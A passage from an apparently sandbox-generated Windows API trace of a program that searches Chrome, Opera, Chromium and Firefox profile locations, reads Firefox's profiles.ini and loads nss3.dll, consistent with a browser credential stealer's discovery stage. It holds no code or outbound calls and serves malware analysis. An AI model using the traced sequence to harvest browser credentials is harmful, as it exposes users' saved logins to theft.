Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\sv\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\th\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.659] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.660] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.660] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.706] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.706] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.706] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.706] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.706] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.706] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.706] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.706] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.706] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.706] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.706] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.707] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.707] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.707] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.707] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.707] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.707] lstrlenA (lpString="\\Opera Software\\Opera Stable") returned 28 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.707] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.707] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.707] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 0x0 [0056.707] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.707] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x2cc740 | out: pszPath="C:\\ProgramData") returned 0x0 [0056.707] lstrlenA (lpString="C:\\ProgramData") returned 14 [0056.707] lstrlenA (lpString="\\Chromium") returned 9 [0056.707] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x118) returned 0x0 [0056.707] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x0, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.708] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.708] lstrlenA (lpString="\\") returned 1 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fa20 | out: phkResult=0x21fa20*=0x114) returned 0x0 [0056.708] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21fa1c, lpData=0x0, lpcbData=0x21fa40*=0x0 | out: lpType=0x21fa1c*=0x0, lpData=0x0, lpcbData=0x21fa40*=0x0) returned 0x2 [0056.708] RegCloseKey (hKey=0x114) returned 0x0 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9f0 | out: phkResult=0x21f9f0*=0x114) returned 0x0 [0056.708] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9ec, lpData=0x0, lpcbData=0x21fa10*=0x1 | out: lpType=0x21f9ec*=0x0, lpData=0x0, lpcbData=0x21fa10*=0x0) returned 0x2 [0056.708] RegCloseKey (hKey=0x114) returned 0x0 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f9c0 | out: phkResult=0x21f9c0*=0x114) returned 0x0 [0056.708] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9bc, lpData=0x0, lpcbData=0x21f9e0*=0x2 | out: lpType=0x21f9bc*=0x0, lpData=0x0, lpcbData=0x21f9e0*=0x0) returned 0x2 [0056.708] RegCloseKey (hKey=0x114) returned 0x0 [0056.708] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d69b0 [0056.708] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x114) returned 0x0 [0056.708] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x0, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Crash Reporter", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.708] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.708] lstrlenA (lpString="\\") returned 1 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.708] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x0, lpData=0x0, lpcbData=0x21f9f8*=0x0) returned 0x2 [0056.708] RegCloseKey (hKey=0x11c) returned 0x0 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9a8 | out: phkResult=0x21f9a8*=0x11c) returned 0x0 [0056.708] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9a4, lpData=0x0, lpcbData=0x21f9c8*=0x1 | out: lpType=0x21f9a4*=0x0, lpData=0x0, lpcbData=0x21f9c8*=0x0) returned 0x2 [0056.708] RegCloseKey (hKey=0x11c) returned 0x0 [0056.708] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f978 | out: phkResult=0x21f978*=0x11c) returned 0x0 [0056.709] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f974, lpData=0x0, lpcbData=0x21f998*=0x2 | out: lpType=0x21f974*=0x0, lpData=0x0, lpcbData=0x21f998*=0x0) returned 0x2 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7238 [0056.709] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\Crash Reporter", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.709] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x1, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.709] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.709] lstrlenA (lpString="\\") returned 1 [0056.709] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.709] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x0, lpData=0x0, lpcbData=0x21f9f8*=0x0) returned 0x2 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9a8 | out: phkResult=0x21f9a8*=0x11c) returned 0x0 [0056.709] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9a4, lpData=0x0, lpcbData=0x21f9c8*=0x1 | out: lpType=0x21f9a4*=0x0, lpData=0x0, lpcbData=0x21f9c8*=0x0) returned 0x2 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f978 | out: phkResult=0x21f978*=0x11c) returned 0x0 [0056.709] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f974, lpData=0x0, lpcbData=0x21f998*=0x2 | out: lpType=0x21f974*=0x0, lpData=0x0, lpcbData=0x21f998*=0x0) returned 0x2 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7238 [0056.709] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.709] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.709] RegCloseKey (hKey=0x11c) returned 0x0 [0056.709] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x2, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.709] RegCloseKey (hKey=0x114) returned 0x0 [0056.709] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x1, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.710] RegCloseKey (hKey=0x118) returned 0x0 [0056.710] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla", phkResult=0x21fab8 | out: phkResult=0x21fab8*=0x118) returned 0x0 [0056.710] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x0, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.710] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.710] lstrlenA (lpString="\\") returned 1 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fa20 | out: phkResult=0x21fa20*=0x114) returned 0x0 [0056.710] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21fa1c, lpData=0x0, lpcbData=0x21fa40*=0x0 | out: lpType=0x21fa1c*=0x0, lpData=0x0, lpcbData=0x21fa40*=0x0) returned 0x2 [0056.710] RegCloseKey (hKey=0x114) returned 0x0 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9f0 | out: phkResult=0x21f9f0*=0x114) returned 0x0 [0056.710] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9ec, lpData=0x0, lpcbData=0x21fa10*=0x1 | out: lpType=0x21f9ec*=0x0, lpData=0x0, lpcbData=0x21fa10*=0x0) returned 0x2 [0056.710] RegCloseKey (hKey=0x114) returned 0x0 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f9c0 | out: phkResult=0x21f9c0*=0x0) returned 0x2 [0056.710] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d69b0 [0056.710] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x114) returned 0x0 [0056.710] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x0, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.710] lstrlenA (lpString="Software\\Mozilla\\Firefox") returned 24 [0056.710] lstrlenA (lpString="\\") returned 1 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.710] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x0, lpData=0x0, lpcbData=0x21f9f8*=0x0) returned 0x2 [0056.710] RegCloseKey (hKey=0x11c) returned 0x0 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9a8 | out: phkResult=0x21f9a8*=0x11c) returned 0x0 [0056.710] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9a4, lpData=0x0, lpcbData=0x21f9c8*=0x1 | out: lpType=0x21f9a4*=0x0, lpData=0x0, lpcbData=0x21f9c8*=0x0) returned 0x2 [0056.710] RegCloseKey (hKey=0x11c) returned 0x0 [0056.710] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f978 | out: phkResult=0x21f978*=0x0) returned 0x2 [0056.710] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7238 [0056.711] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.711] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.711] RegCloseKey (hKey=0x11c) returned 0x0 [0056.711] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x1, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0056.711] RegCloseKey (hKey=0x114) returned 0x0 [0056.711] RegEnumKeyExA (in: hKey=0x118, dwIndex=0x1, lpName=0x2db9c8, lpcchName=0x21fab0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x21fab0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.711] lstrlenA (lpString="Software\\Mozilla") returned 16 [0056.711] lstrlenA (lpString="\\") returned 1 [0056.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fa20 | out: phkResult=0x21fa20*=0x114) returned 0x0 [0056.711] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21fa1c, lpData=0x0, lpcbData=0x21fa40*=0x0 | out: lpType=0x21fa1c*=0x0, lpData=0x0, lpcbData=0x21fa40*=0x0) returned 0x2 [0056.711] RegCloseKey (hKey=0x114) returned 0x0 [0056.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9f0 | out: phkResult=0x21f9f0*=0x114) returned 0x0 [0056.711] RegQueryValueExA (in: hKey=0x114, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9ec, lpData=0x0, lpcbData=0x21fa10*=0x1 | out: lpType=0x21f9ec*=0x0, lpData=0x0, lpcbData=0x21fa10*=0x0) returned 0x2 [0056.711] RegCloseKey (hKey=0x114) returned 0x0 [0056.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f9c0 | out: phkResult=0x21f9c0*=0x0) returned 0x2 [0056.711] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d69b0 [0056.711] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x21fa70 | out: phkResult=0x21fa70*=0x114) returned 0x0 [0056.711] RegEnumKeyExA (in: hKey=0x114, dwIndex=0x0, lpName=0x2d69b0, lpcchName=0x21fa68, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x21fa68, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.711] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0056.711] lstrlenA (lpString="\\") returned 1 [0056.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f9d8 | out: phkResult=0x21f9d8*=0x11c) returned 0x0 [0056.711] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9d4, lpData=0x0, lpcbData=0x21f9f8*=0x0 | out: lpType=0x21f9d4*=0x0, lpData=0x0, lpcbData=0x21f9f8*=0x0) returned 0x2 [0056.711] RegCloseKey (hKey=0x11c) returned 0x0 [0056.711] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0x21f9a8 | out: phkResult=0x21f9a8*=0x11c) returned 0x0 [0056.711] RegQueryValueExA (in: hKey=0x11c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f9a4, lpData=0x0, lpcbData=0x21f9c8*=0x1 | out: lpType=0x21f9a4*=0x0, lpData=0x0, lpcbData=0x21f9c8*=0x0) returned 0x2 [0056.712] RegCloseKey (hKey=0x11c) returned 0x0 [0056.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0x21f978 | out: phkResult=0x21f978*=0x0) returned 0x2 [0056.712] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x2d7238 [0056.712] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x21fa28 | out: phkResult=0x21fa28*=0x11c) returned 0x0 [0056.712] RegEnumKeyExA (in: hKey=0x11c, dwIndex=0x0, lpName=0x2d7238, lpcchName=0x21fa20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x21fa20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0056.712] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0056.712] lstrlenA (lpString="\\") returned 1 [0056.712] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x21f990 | out: phkResult=0x21f990*=0x120) returned 0x0 [0056.712] RegQueryValueExA (in: hKey=0x120, lpValueName="PathToExe", lpReserved=0x0, lpType=0x21f98c, lpData=0x0, lpcbData=0x21f9b0*=0x0 | out: lpType=0x21f98c*=0x1, lpData=0x0, lpcbData=0x21f9b0*=0x33) returned 0x0 [0056.712] RegQueryValueExA (in: hKey=0x120, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x2d2a78, lpcbData=0x21f9b0*=0x33 | out: lpType=0x0, lpData=0x2d2a78*=0x43, lpcbData=0x21f9b0*=0x33) returned 0x0 [0056.712] RegCloseKey (hKey=0x120) returned 0x0 [0056.712] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0056.712] lstrlenA (lpString="") returned 0 [0056.712] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0056.712] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0056.712] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2dc250 [0056.712] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2dc250 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0056.712] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0056.712] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0056.712] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x2dd7e0, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0056.714] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0056.714] lstrlenA (lpString="General") returned 7 [0056.714] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0056.714] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x2d7ac0, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0056.715] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\profiles.ini") returned 0x1 [0056.717] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\\\") returned 57 [0056.717] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0056.721] SetCurrentDirectoryA (lpPathName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 1 [0056.721] LoadLibraryA (lpLibFileName="nss3.dll") returned 